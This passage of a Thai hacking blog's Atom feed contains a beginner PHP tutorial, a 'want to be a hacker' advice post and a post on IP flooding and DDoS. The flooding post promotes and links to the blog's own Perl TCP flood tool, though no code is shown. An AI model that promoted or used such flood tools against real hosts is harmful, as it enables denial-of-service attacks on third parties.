&lt;span class=&quot;detailTutorial&quot;&gt;&lt;span class=&quot;notranslate&quot;&gt;&lt;span class=&quot;fontcode&quot;&gt;3.Notped++ โหลดได้ที่ : Google (หาเอาครับ ^^)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;detailTutorial&quot;&gt;&lt;span class=&quot;notranslate&quot;&gt;&lt;span class=&quot;fontcode&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;detailTutorial&quot;&gt;&lt;span class=&quot;notranslate&quot;&gt;&lt;span class=&quot;fontcode&quot;&gt;ติดตั้งเสร็จแล้ว ส่วนการปรับแต่งนั้นหาได้ที่ Google&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;detailTutorial&quot;&gt;&lt;span class=&quot;notranslate&quot;&gt;&lt;span class=&quot;fontcode&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;detailTutorial&quot;&gt;&lt;span class=&quot;notranslate&quot;&gt;&lt;span class=&quot;fontcode&quot;&gt;&amp;nbsp;&amp;nbsp; ในการเขียนภาษา PHP นั้นก็ไม่ได้ ซับซ้อนอะไร ผมก็ไม่อยากจะพูดอะไรมาก (ขี้เกียจ)&amp;nbsp; มาเข้าเรื่องกันดีกว่า&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;detailTutorial&quot;&gt;&lt;span class=&quot;notranslate&quot;&gt;&lt;span class=&quot;fontcode&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;detailTutorial&quot;&gt;&lt;span class=&quot;notranslate&quot;&gt;&lt;span class=&quot;fontcode&quot;&gt;&amp;nbsp;&amp;nbsp; ในการสอนทั่วไปก็คงจะ สอนใช้คำสั่ง Print สวัสชาวโลก หรือ Hello Word อะไรแบบนี้ สินะครับ&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;detailTutorial&quot;&gt;&lt;span class=&quot;notranslate&quot;&gt;&lt;span class=&quot;fontcode&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;detailTutorial&quot; style=&quot;font-size: large;&quot;&gt;&lt;span class=&quot;notranslate&quot;&gt;&lt;span class=&quot;fontcode&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: orange;&quot;&gt;คำสั่ง&lt;/span&gt;&lt;/b&gt; &lt;span style=&quot;color: blue;&quot;&gt;Print&lt;/span&gt; &lt;b&gt;&lt;span style=&quot;color: orange;&quot;&gt;คืออะไร??&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;detailTutorial&quot;&gt;&lt;span class=&quot;notranslate&quot;&gt;&lt;span class=&quot;fontcode&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;detailTutorial&quot;&gt;&lt;span class=&quot;notranslate&quot;&gt;&lt;span class=&quot;fontcode&quot;&gt;&amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;Print&lt;/span&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;detailTutorial&quot;&gt;เป็นคำสั่งที่ใช้แสดงค่าของตัวแปร หรือ แสดงค่าของ PHP&amp;nbsp;
สำหรับข้อแตกต่างระหว่างคำสั่ง &lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;print กับ echo&lt;/b&gt;&lt;/span&gt; ก็คือ echo สามารถแยกแทรกนิพจน์ หรือค่าตัวแปรลงไปได้ โดยใช้เครื่องหมาย , คั่น&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;detailTutorial&quot;&gt;&lt;span class=&quot;notranslate&quot;&gt;&lt;span class=&quot;fontcode&quot;&gt;&amp;nbsp; โครงสร้างของ PHP คือ &amp;lt;? คำสั่ง ?&amp;gt; หรือ &amp;lt;?php คำสั่ง ?&amp;gt; และทุกครั้งที่จบคำสั่ง หรือ ประพจต่างๆให้ จบด้วย ; ทุกครั้ง&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;detailTutorial&quot;&gt;&lt;span class=&quot;notranslate&quot;&gt;&lt;span class=&quot;fontcode&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;detailTutorial&quot;&gt;&lt;span class=&quot;notranslate&quot;&gt;&lt;span class=&quot;fontcode&quot;&gt;&amp;nbsp;ตัวอย่าง&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;detailTutorial&quot;&gt;&lt;span class=&quot;notranslate&quot;&gt;&lt;span class=&quot;fontcode&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD9SFtM_-Hm5C4lu-duW_5YEnZ1-Xk-wJd0zhSjQKJMJ8HQol55_U_UVqdWfrCuYN77Gm-RjICRE7Revs1T8XZQuZcn4mDYhbVjt261jjR-oW-xNPiliXrxBsazDVZzDnCeJaL4H0pAzmd/s1600/Untitled-2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;60&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD9SFtM_-Hm5C4lu-duW_5YEnZ1-Xk-wJd0zhSjQKJMJ8HQol55_U_UVqdWfrCuYN77Gm-RjICRE7Revs1T8XZQuZcn4mDYhbVjt261jjR-oW-xNPiliXrxBsazDVZzDnCeJaL4H0pAzmd/s320/Untitled-2.jpg&quot; width=&quot;320&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
เมื่อแสดงบน เบราวเซอร์ &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCo-0Gy3qI9DYTvuQ9w0gjPvi53n1oli8ucSTofAzonQAwEil1cohwV1qwPs-cBlFd3HehA_VL6UAo4F-lI94U_7QdL6mDxjUzrzNvtQqIsTAerf_jJlZPRfMfDOxeHVmr6W02Sz0WB4uy/s1600/Untitled-1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;155&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCo-0Gy3qI9DYTvuQ9w0gjPvi53n1oli8ucSTofAzonQAwEil1cohwV1qwPs-cBlFd3HehA_VL6UAo4F-lI94U_7QdL6mDxjUzrzNvtQqIsTAerf_jJlZPRfMfDOxeHVmr6W02Sz0WB4uy/s200/Untitled-1.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
ส่วนการใช้ตัวแปรนั้น สามารถใช้แบบเดียวกันได้ แต่ครั้งนี้ในการประกาศตัวแปร จะใช้ &lt;span style=&quot;color: blue;&quot;&gt;echo&lt;/span&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;color: orange;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;ตัวแปร&lt;/span&gt;&lt;/span&gt; (PHP Variables) &lt;span style=&quot;color: orange;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;คือ??&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;color: orange;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;/span&gt; &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;color: orange;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;/span&gt;ตัวแปรชื่อที่ใช้สำหรับเก็บข้อมูล &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;color: orange;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;h2&gt;
&lt;span style=&quot;color: orange;&quot;&gt;กฏการตั้งชื่อตัวแปรในภาษา PHP&lt;/span&gt;&lt;/h2&gt;
- ตัวแปรทั้งหมดในภาษา PHP จะขึ้นต้นด้วยเครื่องหมาย $ แล้วตามด้วยชื่อตัวแปร&lt;br /&gt;
- ชื่อของตัวแปรต้องขึ้นต้นด้วยตัวอักษรหรือเครื่องหมาย _ เท่านั้น&lt;br /&gt;
- ชื่อของตัวแปรสามารถมีตัวอักษร ตัวเลข หรือขีดกลางเท่านั้น&lt;br /&gt;
- ชื่อของตัวแปรต้องไม่มีช่องว่าง&lt;br /&gt;
- ตัวใหญ่ตัวเล็กถือว่าต่างกัน&lt;br /&gt;
&lt;h2&gt;
&lt;span style=&quot;color: orange;&quot;&gt;สิ่งที่ต้องรู้เกี่ยวกับตัวแปรใน PHP&lt;/span&gt;&lt;/h2&gt;
- ค่าของตัวแปรคือค่าที่ได้ จากการประกาศล่าสุด&lt;br /&gt;
- ค่าของตัวแปรจะถูกกำหนดด้วยเครื่องหมาย = ซึ่งต้องอยู่ทางซ้าย และค่าที่ได้คือค่าที่ได้จากทางขวา&lt;br /&gt;
- ตัวแปรสามารถประกาศก่อนใช้งานได้ แต่ไม่จำเป็น&lt;br /&gt;
- ตัวแปรในภาษา PHP ไม่ต้องบอกชนิดของตัวแปร&lt;br /&gt;
&lt;br /&gt;
การใช้ตัวแปรนั้นจะใช้ ในรูปข้างล่าง &lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdbMjnungbPVHAP8musKBGONQ1MQDGpRfZ5j420x9wiI0NtJ-_74GYvXssmSZrlOS7OpDOrwhoIoqwYIoBHdhTaJ8kmecGVec2phNicrhdD9HLCILpVKpTXUWPckbYbblp2r1o5fTXoG1x/s1600/Untitle-2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNKYAY1wqGNaL68TFufYXqCHoq3HGHv_i6OWQTjZIRDJeBVRSu4qGbJyvDeDaz9vfiKLgwP3TcokpOVA_RW1e5y-K2el5LcM5Kq-KIwZvS4bIPDw_xSO3eZC3IjTulsB12ThFNQTcOdQxV/s1600/Untitled-2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvx751KQZE9a5FJr9JTDNM6ExUeIo3yT3gcuZn9b3P2BrijIrIkVP68CgQ1HfWHypEXdWEXqtHf1FVWq6yHYS4gj2DFdFv-WxhQYMkJ4y6rDl0_oElSPEiyRc4rRYiGlu87sSy9BasYHkn/s1600/Untitled-.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;108&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvx751KQZE9a5FJr9JTDNM6ExUeIo3yT3gcuZn9b3P2BrijIrIkVP68CgQ1HfWHypEXdWEXqtHf1FVWq6yHYS4gj2DFdFv-WxhQYMkJ4y6rDl0_oElSPEiyRc4rRYiGlu87sSy9BasYHkn/s400/Untitled-.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
การประกาสตัวแปรนั้นจะใช้ echo&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgC2hpGjrel8AuyFxSuY7K9gj9UrCvl5VOY_3mr9GUmHHMyjWl3-ouIYlB9ha4mYpp8RvMhqvQQKLJBviCGRwa0nl81Uo9G7aD6qzbU6LMgUAgikQOWvx7k23H8Gqwk3ONz4b0IdqEKZqp7/s1600/Untitled-2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;186&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgC2hpGjrel8AuyFxSuY7K9gj9UrCvl5VOY_3mr9GUmHHMyjWl3-ouIYlB9ha4mYpp8RvMhqvQQKLJBviCGRwa0nl81Uo9G7aD6qzbU6LMgUAgikQOWvx7k23H8Gqwk3ONz4b0IdqEKZqp7/s400/Untitled-2.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
เมื่อเปิดเบราเซอร์เรียกใช้แล้ว ก็จะได้&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAGxscswDnrG-DnztnCQMaz7jDqgxsF8DFQkxC_5QqsGiIEjgqGbGXeD9_8ijZtN1C4-wchaZ1w53BAdru_AK7GL5QdLFARrlmWwHeS-Jaa5p8IBeD5HFlfqld5NbD8YB-F0uztHE_PEWk/s1600/Untitle-2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;153&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAGxscswDnrG-DnztnCQMaz7jDqgxsF8DFQkxC_5QqsGiIEjgqGbGXeD9_8ijZtN1C4-wchaZ1w53BAdru_AK7GL5QdLFARrlmWwHeS-Jaa5p8IBeD5HFlfqld5NbD8YB-F0uztHE_PEWk/s200/Untitle-2.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
ไม่ว่าคุณจะตั้งชื่อตัวแปรเป็นภาษาใดก็ตาม ถ้าคุรทำตามกฏของมันก็สามารถทำงานได้ปกติ &lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/3165502291540000293'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/3165502291540000293'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2013/08/php.html' title='PHP เบื้องต้น (คุยกันก่อน)'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOGiCw2mjabNHRm2c21i3vU6gqWrB6IYDR5Namo_oa5D2Td44ggfxzndlRO2bb2sUBUNjunouhqmILlA_eOQc149nIf_sgxTqvvrAW-fraEVXBKsJF0UZ609xR9zf-qE5P4Hx3WiSZ8JLE/s72-c/php.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-9119680528101546455</id><published>2016-08-16T10:00:00.000+07:00</published><updated>2013-10-31T20:49:20.463+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack Web"/><category scheme="http://www.blogger.com/atom/ns#" term="Index"/><category scheme="http://www.blogger.com/atom/ns#" term="สอนHack"/><title type='text'>อยากเป็น Hacker</title><content type='html'>&lt;head&gt;
&lt;title&gt;อยากเป็น Hacker : Hack | สอนHack | Hacker&lt;/title&gt;
&lt;/head&gt;

&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVey8L4i6EIQ7v7DJATc8KQNMiBfWtwuT5VFuQnBhouJ9odmL3okhpTlLUSWc-t5HGbLDMbQ1Py3JbdxCXOf-agrsIksvc-enZClVgL1hel9DCnAbUUMEIWGxDMujmlGT07WYM7D-NTlJ1/s1600/12.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;291&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVey8L4i6EIQ7v7DJATc8KQNMiBfWtwuT5VFuQnBhouJ9odmL3okhpTlLUSWc-t5HGbLDMbQ1Py3JbdxCXOf-agrsIksvc-enZClVgL1hel9DCnAbUUMEIWGxDMujmlGT07WYM7D-NTlJ1/s400/12.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&amp;nbsp; คำถาม : พี่ครับผมอยากเป็น Hacker ต้องทำยังไง&lt;br /&gt;
&amp;nbsp; ตอบ&amp;nbsp;&amp;nbsp;&amp;nbsp; : พยายามครับ&lt;br /&gt;
&amp;nbsp; คำถาม : แล้วต้องพยายามยังไง&lt;br /&gt;
&amp;nbsp; ตอบ&amp;nbsp;&amp;nbsp;&amp;nbsp; : พยายามอ่านบทความเกี่ยวกับ Security ทำความเข้าใจกับมัน&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
##################################################&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; มีเยอะเลยเดียวนี้ ที่ชอบถามว่า Hack ยังไง อยากเป็น Hacker ต้องทำยังไง อะไรแบบนี้ อันดับแรกเลยคือ เราต้องทำความเข้าใจกับสิ่งที่เรากำลังจะทำก่อน อย่างเช่น Hack Facebook ทำยังไง อย่างแรกเลยคือ คุณต้องเข้าใจหลักการทำงานของ Facebook ก่อนว่ามันทำงานยังไง ส่งค่าไปใหน&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; สมัยนี้มี Tool สำเร็จรูปแจกเกลื่อน ยิ่งกว่าตลาด จนพวกใข่ของ Hacker มีเต็มบ้านเต็มเมือง แล้วก็ยังมีพวกที่ใช้ Hack Tool แล้วสถาปันณา ตนเองเป็น Hacker ก็มี&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; ถามว่าใช้ Hack Tool ผิดหรอ? ก็ไม่ผิดหรอก แต่ว่าก่อนจะใช้ เราควรทำความเข้าใจกับระบบมันก่อน ว่ามันทำงานยังไงใช้ยังไง&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; แล้วก็คำถามที่สุดเบื่อคือคำถามที่สามารถหาเองได้โดยใช้ Google แต่ไม่คิดจะใช้ เอาแต่คอยพึ่งคนอื่นอยู่ตลอดเวลา ถามว่าผิดหรอ? ก็ไม่ผิดอีกนั้นละ แต่มันน่ารำคาญ เพราะอะไร? เพราะผมก็ใช่ว่าจะเก่งทุกอย่าง มีหลายอย่างที่ผมไม่รู้ เวลาคนเรามี 24 ซ.ม. เหมือนกัน ผมใช้เวลา 8 - 10 ซ.ม. หมดไปกับการศึกษา บทความชาวบ้านเขา&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; ก็ไม่อยากจะพูดอะไรมากเพราะ ผมเองก็ใช่ว่าจะรู้ทุกอย่าง สิ่งที่สำคัญสำหรับ Hacker คือ ความอดทน ความพยายาม การเดาอย่างมีหลักการ ความเข้าใจในระบบ&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; ส่วนเรื่องการยิง IP นั้นผมตั้ง Keyword ไว้เพื่อน้องๆ ที่ใช้ Google สแกนหาคำว่า ยิง IP แล้วมาเจอ เว็บผม จุดประสงค์ก็เพื่อ ต้องการให้น้องๆพี่ๆ ทำความรู้กับ คำว่า &quot; Hacker &quot; จริงๆ และการยิง IP มันทำงานยังไง แต่ผมไม่สนับสนุนเพราะ ถ้าคุณไปยิงเขา คุณก็ &quot;เกรียน&quot;ดีๆนี่ละ &lt;br /&gt;
&lt;br /&gt;
&lt;script type=&quot;text/javascript&quot;&gt;alert(&quot;WelCome To Kiss-Hack&quot;);&lt;/script&gt;
-END-</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/9119680528101546455'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/9119680528101546455'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2013/08/hacker.html' title='อยากเป็น Hacker'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVey8L4i6EIQ7v7DJATc8KQNMiBfWtwuT5VFuQnBhouJ9odmL3okhpTlLUSWc-t5HGbLDMbQ1Py3JbdxCXOf-agrsIksvc-enZClVgL1hel9DCnAbUUMEIWGxDMujmlGT07WYM7D-NTlJ1/s72-c/12.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-4130354543291706710</id><published>2015-08-23T12:03:00.000+07:00</published><updated>2015-01-17T17:23:03.832+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Bot Boom"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack Web"/><category scheme="http://www.blogger.com/atom/ns#" term="Index"/><category scheme="http://www.blogger.com/atom/ns#" term="script"/><category scheme="http://www.blogger.com/atom/ns#" term="Tool"/><category scheme="http://www.blogger.com/atom/ns#" term="ยิงIP"/><title type='text'>มาพูดถึงเรื่องการ ยิงIP ด้วย Flood ต่างๆกัน</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim8ICMH-pzhX79oh6iVzPDiVHAgdADd8kd2E-5zmOLtidMMQJaFM1I5jD6B83XdUk7xvXTiP7kopTZmZM_tNOX1GIYAIMSX3YWjgUc4_weUgdSJ7Mo59EBl_uV29uBOqdqhbvNK5LhDIgd/s1600/images.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim8ICMH-pzhX79oh6iVzPDiVHAgdADd8kd2E-5zmOLtidMMQJaFM1I5jD6B83XdUk7xvXTiP7kopTZmZM_tNOX1GIYAIMSX3YWjgUc4_weUgdSJ7Mo59EBl_uV29uBOqdqhbvNK5LhDIgd/s400/images.jpg&quot; height=&quot;283&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; มาทำความเข้าใจกันก่อนเลยว่าการยิง IP การ Flood นั้นคืออะไร เด็กหรือผู้ใหญ่บางท่านไม่เข้าใจ การ Flood IP นั้น ไม่ใช่ว่า เฮ้ยกูมีโปรแกรมยิง IP วะ กูจะยิง IP ไอ้นี่ พอยิงปุ๊บแล้วดับเลย&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; มันไม่ได้ง่ายแบบนั้นนะ หนู ถ้าเป็นแบบนั้น ป่านนี้คงไม่ต้องมาเช่าเซิฟ Hack เซิฟ ทำ DDos Zombie ให้วุ่นวายหรอก นอกจากว่า คอมคุณเป็นเซิฟขนาดใหญ่แล้ว ทำ DDos สัก 10000 ตัวยิงไปที่เว็บ www.kiss-hack.blogspot.com จากนั้นเว็บผมก็ร่วงตามระเบียบ&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; มันไม่ใช่ว่าโหลด โปรแกรมยิง IP มาใส่ไว้ในคอม กากๆ 1 เครื่องแล้วยิงชาวบ้าน (ถ้าทำแบบนั้นคอมคุณนั้นละที่จะซวย) &lt;br /&gt;
&amp;nbsp; ซึ่งเมื่อก่อนเว็บหลักผม โดน DDos Zombie เดี้ยงไปแล้ว (พวกในวงการเดียวกันนั้นละ)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
อธิบาย ยิงIP แบบจริงจัง&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; การยิงIP นั้นมันมีอยู่หลายวิธีทั้ง การ Flood Ping ส่งข้อมูล Packet ขนาดต่างๆ เข้าไปในคอมผ่าน พอต์ไอพีเหยื่อ จนไม่สามารถประมวณผลได้ทัน จนเกิดการล่ม&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;โปรแกรมยิง TCP Flood ของ Kiss-Hack ใช้ได้จริงใหม?&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; มันก็ใช้ได้สิ ก็ Test ให้ดูแล้ว โดยการจำลองเซิฟเวอร์ แล้วยิงให้ดู หาดูได้ในหมวด Youtube แต่การยิงเซิฟใหญ่ๆ ต้องอาศัยการ ประชาทัณ หรือ รุม นั้นเอง เซิฟเวอร์ 1 เครื่อง โดน เซิฟเวอร์ 10 กว่าเครื่องรุมยิง ไม่ต้องเดาก็รู้แล้วว่า เดี้ยงแน่&lt;br /&gt;
&lt;br /&gt;
โปรแกรมนี้เขียนขึ้นจากภาษา Perl&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://p.pw/baenrS&quot;&gt;กดเข้าไปอ่าน และ โหลด&lt;/a&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/4130354543291706710'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/4130354543291706710'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2013/08/ip-flood.html' title='มาพูดถึงเรื่องการ ยิงIP ด้วย Flood ต่างๆกัน'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim8ICMH-pzhX79oh6iVzPDiVHAgdADd8kd2E-5zmOLtidMMQJaFM1I5jD6B83XdUk7xvXTiP7kopTZmZM_tNOX1GIYAIMSX3YWjgUc4_weUgdSJ7Mo59EBl_uV29uBOqdqhbvNK5LhDIgd/s72-c/images.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-1514793920321653896</id><published>2015-04-06T18:11:00.001+07:00</published><updated>2015-04-06T18:13:11.539+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack Web"/><category scheme="http://www.blogger.com/atom/ns#" term="Index"/><category scheme="http://www.blogger.com/atom/ns#" term="Web"/><category scheme="http://www.blogger.com/atom/ns#" term="เขียนโปรแกรม"/><title type='text'>วิธีใช้ Google เพื่อหา สิ่งที่ต้องการ</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;iframe width=&quot;320&quot; height=&quot;266&quot; class=&quot;YOUTUBE-iframe-video&quot; data-thumbnail-src=&quot;https://i.ytimg.com/vi/pXISxFtWML8/0.jpg&quot; src=&quot;http://www.youtube.com/embed/pXISxFtWML8?feature=player_embedded&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;
